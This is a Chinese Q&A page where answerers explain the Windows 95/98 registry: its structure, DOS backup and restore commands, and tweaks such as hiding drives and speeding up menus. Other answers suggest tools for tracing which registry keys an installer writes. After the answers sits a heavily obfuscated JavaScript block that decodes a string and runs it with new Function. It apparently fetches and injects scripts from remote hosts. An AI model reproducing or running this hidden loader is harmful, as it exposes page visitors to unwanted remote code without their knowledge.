电脑高手请进~~~

2025-02-16 00:52:12
推荐回答(5个)
回答1:

每次出现死机、应用程序非法操作,或者计算机启动时报告某个文件找不到,这个时候你是不是会特别心烦,又觉得无从下手。这些问题的出现,一般都与 Windows 的注册表有关。那么,现在我们就来学习一下Windows的注册表,这可能是很多对Windows非常熟悉的人都感到神秘,而又特别想掌握的。了解了注册表,我们对以后出现的各式各样的问题就不会再束手无策。
熟悉Windows3.X的用户可能对它的配置文件“INI”不会陌生,这些文件记录了系统的软、硬件的各种信息,以确保系统的正常运行。在 Windows95/98中,也保留了部分的“INI”文件。但是最主要的,如system.ini、program.ini、win.ini、 control.ini 等文件所记录的信息都已集成在注册表中,这样更加便于对Windows进行全面的管理。
Windows95的注册表实际上是一个很庞大的数据库,包含了应用程序和计算机系统的配置、Win95系统和应用程序的初始化信息、应用程序和文档文件的关联关系、硬件设备的说明、状态和属性以及各种状态信息和数据。注册表系统由两个部分组成:注册表数据库和注册表编辑器。其中注册表数据库包括三个文件:SYSTEM.DAT和USER.DAT,还有一个是在C盘的根目录下的“SYSTEM.1ST”,它只不过是具有WINDOWS的一个大致框架而已,在后面我们将专门讲它,这里我们先分析一下SYSTEM.DAT和 USER.DAT。 SYSTEM.DAT用来保存电脑的系统信息,如安装的硬件和设备驱动程序的有关信息等。这个文件在Windows目录下。 USER.DAT用来保存每个用户特有的信息,如桌面设置、墙纸或窗口的颜色设置等。这个文件也在Windows目录下。 SYSTEM.DAT的自备份文件为SYSTEM.DA0,USER.DAT的自备份文件为USER.DA0。Windows95还提供了一个对注册表编辑的工具:注册表编辑器,用它可以对注册表进行各种编辑工作。

注册表采用“关键字”及其“键值”来描述登录项及其数据。所有的关键字都是以“HKEY”作为前缀开头。打个比喻来说,关键字更象Windows9X下的浏览器里的目录下的文件,每个文件都会有自己特有的内容和属性。我们可以在注册表编辑器下很方便地添加、修改、查询和删除注册表的每一个关键字。关键字可以分为两类:一类是由系统定义,一般叫做“预定义关键字”;另一类是由应用程序定义的,根据应用软件的不同,登录项也就不同。下面我们对系统预定义的六个主关键字简单地介绍一下。
◎ HKEY_CLASSES_ROOT

打开注册表编辑器(Regedit.exe),就可以看到关键字。该键由多个子键组成,具体可分为两种:一种是已经注册的各类文件的扩展名,另一种是各种文件类型的有关信息。左栏中的子键就是各种已经注册的文件扩展名。注册表内己经登记的文件扩展名中,有系统默认和应用程序自定义的扩展名。应用程序只有把自定义的扩展名在注册表中登记,系统才能识别和关联使用有关的文档,但只有经过注册的扩展名,系统才能自动关联。当选中某个扩展名关键字时,在窗口的右窗格中将显示出有关的键值。例如在这里选中“.avi”时,就表示后缀名的文件类型,它的键值默认为动画文件(avifile);其中“Content Type”表示它满足什么样的文件类型。我们再将滚动条往下拉,能找到有一个关键字“avifile”,它的键值的默认值是“视频剪辑”,这就表示我们可以对.avi文件进行编辑、播放等操作。 还有为avi的文件,在右栏中显示的
是它一种是我们常用的文件类型“.txt”,先移动滚动条找到“.txt”,用鼠标选中后,右栏中显示,它的默认值是“txtfile”, “Content Type”的值“text/plain”,表示它启动时是一个空白的文本文件。其它的我们就不一一说明,你只要清楚操作系统和应用文件的文件类型,都被包括这里就可以了。

◎ KEY_CURRENT_USER

HKEY_CURRENT_USER下面有7个子关键字。其中除RemoteAccess”外,其余6个都为系统预定义。
AppEvents 这个子键里登记已注册的各种应用事件。
ControlPanel 它里面涉及到控制面板设置有关的内容。
InstallLocationsMRU windows安装路径的有关信息。
Keyboardlayout 关于键盘设置的信息。
Network 有关网络设置的信息。
RemoteAccess 安装IE4.0时建立的子关键字,包含该应用程序的有关信息。
Software 软件的有关信息。

第三节 备份注册表

点“开始”,在“运行”中输入Regedit,启动注册表编辑器。注册表编辑器的使用较简单,用鼠标的右键可提高工作效率,但要提醒的是在对注册表做任何修改之前,必须将注册表备份,不然的话,可能因为某些改动而导致系统无法启动。 Windows'95注册表数据库基本上由SYSTEM.DAT和USER.DAT组成,而且Windows'95 为了提高它的可靠性,免遭意外破坏,每次启动时都把注册表备份到SYSTEM.DA0和USER.DA0。如果系统启动出错,我们还可以在Dos下进入 Windows目录里,用Attrib 命令改变它们的系统、隐含、只读属性,将.DA0复制到.DAT中即可。
◎ 在DOS下备份注册表

不过这样还是不太安全。最好还是在Windows正常运行时,将这两个文件备份:
首先计算机启动时进入DOS环境,开始如下操作:
cd \windows
attrib –r –h –s system.dat
attrib –r –h –s user.dat
将这两个文件的属性改为可见,非系统文件,这样文件可供拷贝。
copy system.dat system0.dat
copy user.dat user0.dat
system0.dat user0.dat这两个文件就是备份后的文件名。在以后不管你的注册表坏到什么程度,只要把这两个文件拷回去就行了,而且能恢复到你备份时的状态。
attrib +r +h +s system.dat
attrib +r +h +s user.dat
拷贝完成后,将system.dat user.dat的属性还原。

◎ 在DOS下恢复注册表

如果当你的系统出问题后,启动计算机进入Dos7.0,操作步骤如下:
cd windows
attrib -r -h -s system.dat
attrib -r -h -s user.dat
copy system0.dat system.dat
copy user0.dat user.dat
这时系统会提示是否覆盖该文件,键入Y就行了。
接着如下:
attrib +r +h +s system.dat
attrib +r +h +s user.dat
操作完成后,重新启动计算机后就可以了。

◎ 用注册表编辑器来备份注册表

还有一种方法,是用注册表编辑器来备份。这种方法比较方便,也比较迅速。点“开始”下的“运行”,输入Regedit后“确定”,这样就启动了注册表编辑器,你所看到的就是注册表的数据库了。打开“注册表”菜单里的“导出注册表文件”,在对话框中输入文件名regedit,默认的后缀名为.reg。当然,为了阅读方便,可以选择.txt的文件类型,这样就将全部注册表或个别的分支保存为一个文件里了。如果在以后的过程中遇到了问题,我们可以选“注册表”里的 “引入注册表文件”,将保存的regedit.reg或regedit.txt文件引入到注册表编辑器中,这样能重建注册表。
◎ 在DOS下恢复注册表编辑器备份的注册表文件

如果你的注册表已经严重损坏,造成Windows95 系统不能启动,不要慌,先重新启动计算机,进入Dos7.0,

cd windows
smartdrv
regedit /c regedit.reg
请注意:运行smartdrv是加快磁盘运行速度的,如果可以加快系统的速度,不然的话,恢复注册表可能需要很长时间。 如果你对regedit 这个命令不大熟悉,在使用前可用regedit/?开关,查看它的语法和参数。

第四节 注册表的使用技巧
4.1 将新建菜单中的多余的项去掉

当我们装上了一些小工具,比如WINZIP、ACDSEE,而且以后每装一个应用软件,如WORD、ACCESS等等,都有可能在“新建”中出现它的快捷方式,所以在“我的电脑”或“资源管理器”中新建一个文件夹或快捷方式时,这时如果将鼠标移到“新建”上,下一级菜单很慢才出来。但是一盘除了新建“文件夹、快捷方式、文本文件”等一些常用的外,里面可新建的文件类型也很少用到,有没有办法将不用的快捷方式式去掉呢?通过修改注册表,我们可以去掉新建菜单里多余的选项,以加快菜单显示的速度。

先启动注册表编辑器,点“开始”里的“运行”,输入REGEDIT,打开“编辑”菜单里的“查找”,输入“shellnew”,点“确定”。看,已经找到一个,看看右边的框里,只要有“command”或“nullfile”的项,你就可以将它删除。用鼠标选中“shellnew”,按右键,在浮动菜单中选“删除”。接着按一下F3键继续查找,跟刚才一样,碰到“shellnew”就将它删除。
请注意:如果你找到的上一级是“txt”,最好不要删掉了,因为这个是关于文本文件的,我们还用得着。直到出现“完成对注册表的搜索”,点“确定”,接着关闭注册表编辑器,切换到“我的电脑”或“资源管理器”,单击右键,移到“新建”上,里面只有“文件夹、快捷方式、文本文件”等几项了。
第四节 注册表的使用技巧
4.2 开始菜单显示速度

在“开始”中加快菜单的显示速度 你有没有注意到,“开始”菜单在弹出下一级菜单之前都有一段延时。随着对WINDOWS95熟悉,当安装一些应用软件,总感觉菜单弹出越来越慢,同时影响操作速度。

打开“开始”下的“运行”,输入REGEDIT,点确定后,启动注册表编辑器,选中“HKEY_CURRENT_USER”点前面的加号,打开 “ControlPanel”下的“Desktop”,把亮条停在Desktop上后,点Edit菜单中的“新建”下的“字符串值”,为Desktop建立一个新的字符串值,在右边栏出现一个“新值 #1”,然后取名为“MenuShowDelay”,在它上面双击,输入一个值,为1到10,为1则延时最短,关闭注册表编辑器。重新启动机器后,你就会发觉“开始”菜单对鼠标移动的反应快多了。
第四节 注册表的使用技巧
4.3 加快网络传输速度

有了MODEM和一条电话线,再与计算机连接,我们就能在Internet驰骋。但是到了大家都在上网的时候,浏览网络的速度就很慢了。不用心急,在注册表中做一下手脚就能提高网络的速度。

先运行注册表编辑器,打开根键“HKEY_LOCAL_MACHINE”,看,一下子出来这么多东西,跟着我一步一步的做,找到最下面一个 “system”点前面的加号,将它展开,一直展开到“CurrentControlSet \Services \Class \NetTrans”,在NetTrans下有0000、0001、0002,这就是我们要找的,但是改哪一个呢?我们挨个地点0000、0001、 0002,看看里面有没有“DriverDesc 、DeviceVxDs、IpAddress”如果有的话,我们在这里添加一些东西。噢,是这里,在右边窗口空处点右键,弹出一个“新建”菜单,将鼠标移到上面,点“字符串值”,输入“MaxMTU”,双击它将它的值改库536。再添加上“MaxSSS”,其值为576 用同样的方法在 HKEY_LOCAL_MACHINE \System \CurrentControlSet \Services \VxD \MSTCP的右边窗口添加上字符串值“DefaultRcvWindow”并把它的值设定为“2144”,和“DefaultTTL”并把它的值设定为 “60”至“64”(注:60是最小值,64是最大值,只要填上其中一个值就可),完成后关闭注册表编辑器并重新启动Win95即可。再上网试试,速度加快了吧。如果你下载文件的话,会让你更吃惊。
第四节 注册表的使用技巧
4.4 隐藏“收藏夹”

当你跟Internet联上后,网上的资源我们都可以访问。如果找到一个好站点,我们都会将它添加到“收藏夹”中,日积月累,“收藏夹”中会有越来越多的东西。有时用鼠标移到“程序”经过“收藏夹”时,都会等一等出现“收藏夹”的内容,才会移到“程序”项上去。修改注册表可以将这一项隐藏,当然,在你的浏览器的收藏夹中这一项没有丝毫的变化。

我们打开HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies \Explorer这一项,在它的右栏中加入一个“DWORD”值,其键值为1。再重新启动计算机后,你会发现在“开始”菜单中,“收藏夹”已经没有了
第四节 注册表的使用技巧
4.5 隐藏磁盘驱动器

在平时的应用中,我们一般将软驱屏蔽掉。因为软盘的容量比较小,而且访问时也反应也特别慢。但是在Windows98的“我的电脑”或“资源管理器”中,还是会出现软驱的图标,每次不小心点了软驱后,需要很长时间才会报告说“无法访问A盘”。那么能不能把它在“我的电脑”或“资源管理器”中将它隐藏起来呢?

我们先启动注册表编辑器,进入HKEY_CURRENT_USER \Software \Microsoft \Windows \CurrentVersion \Policies \Explorer分支中,在右窗口中新建一个二进制值的键值名“NoDrives”,它对应的键值为“01000000”,然后关闭注册表编辑器,重新启动计算机后,打开“我的电脑”或“资源管理器”,你会发现A盘的图标就看不到了。 用这种方法屏蔽硬盘的盘符,我们可以用来保护我们的文件资源。这是隐藏一个盘符的方法。当它的值为“05000000”时,可隐藏A盘和C盘;其中“05000000”的就是“01000000”A盘与 “040000000”相加得来的。而“09000000”可隐藏A盘与D盘。“11000000”可隐藏A盘与E盘。把它们的值相加就可以了。其它的盘符分别对应为:A驱为“01000000”,B驱为“02000000”,C驱为“04000000”,D驱为“08000000”,E驱为 “10000000”,F驱为“2000000”。即按磁盘驱动器的英文字母顺序(A~Z)从十六进制的二倍数递增。将你所要隐藏的磁盘驱动器所对应的键值按十六进制相加赋值给“NoDrives”,这样,就在“我的电脑”内隐藏起所要隐藏的驱动器了。如要隐藏A驱、C驱与D驱,则将“0D000000” 赋值给“NoDrives”。如果你要访问已经隐藏的盘,只需要在“资源管理器”的地址栏中输入隐藏的盘符就行了。

在HKEY_CURRENT_USER \Software \Microsoft \Windows \CurrentVersion \Policies \Explorer这一项中还可以添加其它的项来实现一些功能。
添加的关键字 键值 功能
NoClose 0和1 设置在“开始”菜单中有无“关闭系统”一项。如果没有,则不能关闭系统。
NoFavoritesMenu 0和1 在“开始”菜单中有无“收藏夹”项。
NoFileMenu 0和1 会把“资源管理器”的“文件”菜单屏蔽掉。
NoRecentDocsHistory 0和1 当值为1时,则“文档”中的快捷方式不再发生变化。为0时,有变化。
NoRecentDocsMenu 0和1 当值为1时,“开始”菜单的“文档”被屏蔽。为0时不被屏蔽。
NoSaveSettings 0和1 当值为1时,对Windows9X所作的任何修改都仅对当次运行有效,重新启动Windows95后就会自动恢复成修改前的状态。
NoRun 0和1 当值为1时,在“开始”菜单中没有“运行”一项。为0时,出现“运行”项。
在关键字HKEY_CURRENT_USER\Software\Microsoft\CurrentVersion\Explorer下,
删除的关键字 功能
FindComputerMRU下除“默认”项外的所有子关键值 那么将会清除你所查找过的计算机名。
Doc Find Spec MRU 下除“默认”项外的所有子关键值 那么将会清除你所查找过的文件名
RunMRU 下除“默认”项外的所有子关键值 那么将会清除在“运行”命令中使用过的命令。
在关键字HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer下, 如果将TypedURLs 下除“默认”项外的所有子关键值删除,那将会把浏览器访问过的网址都清除掉。
在关键字HKEY_CLASSES_ROOT中,如果将lnkfile和piffile下的IsShortcut子关键字删除,那么将会去掉快捷方式图标上的小箭头。
第四节 注册表的使用技巧
4.6 删除不能删掉的项

不知道你有没有碰到过这种情况,当你装上一个应用软件后,不小心把那个目录删掉、或者要将它在“添加/删除”删掉,却出现错误提示,卸载不了,到后来只能将其目录删除,但是在“添加/删除”还有那一项。这种事确实让人心烦。你看,上次我装的一个“洪恩智能人翻译系统”,后来出错,想删也删不掉了。

这里我们就用通过修改注册表的方法来解决这个问题。 当然,我们首先要启动注册表编辑器,进入 “\HKEY_LOCAL_MACHINE \Software \Micrsoft \Windwos \CurrentVersion \Uninstall”,打开这一个“Human Translate”,你看右边的窗口里面,有这一项“洪恩智能人翻译系统”,把“Human Translate”主键删掉就可以了。然后关闭注册表,再看“控制面板”里的“添加/删除”里,这一项就没了。 提示:我们所装的软件一般都在 “\HKEY_LOCAL_MACHINE \Software \Micrsoft \Windwos \CurrentVersion \Uninstall”中,如果你碰到类似的情况,就能通过这种方法来解决了。

回答2:

这只有通过软件来查看了,下载Windows优化大师里面有智能卸载,你可以选择这个软件分析,分析出来的过程就是这些软件写入注册表的项。

你可以在运行里面输入regedit.exe
导出整个系统注册表文件,然后你安装这个软件后,再导出这整个系统注册表文件。
在运行输入cmd,执行FC.exe这个比较命令,可以对比这前后注册表发生的变化。

回答3:

软件安装以后都会在注册表里进行注册的~~~~卸载的时候就难说了~~~但是可以确定的是 大多数的正规软件就安装程序就有卸载程序的 也大多都能连带注册表里的注册信息一起卸载掉的

但是还有些就不一定了~~~~

象2楼说的 优化大师可以帮里把注册表里的多余或者已经删除但是注册表里没有删除的垃圾文件删除的 建议使用

回答4:

有个软件可以做到的, 好像叫注册表提取工具。 有点忘了。 百度找一下可以找到。 他可以记录你在安装软件时对系统做的任何改变。 当然你在安装软件前要先打开那个软件扫一下你的系统和注册表再安装。

回答5:

我觉得更为简单的方法:安装完美卸载,运行进入智能卸载,找到你安装的软件,进行分析即可知道该软件在注册表中所有的键值信息。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();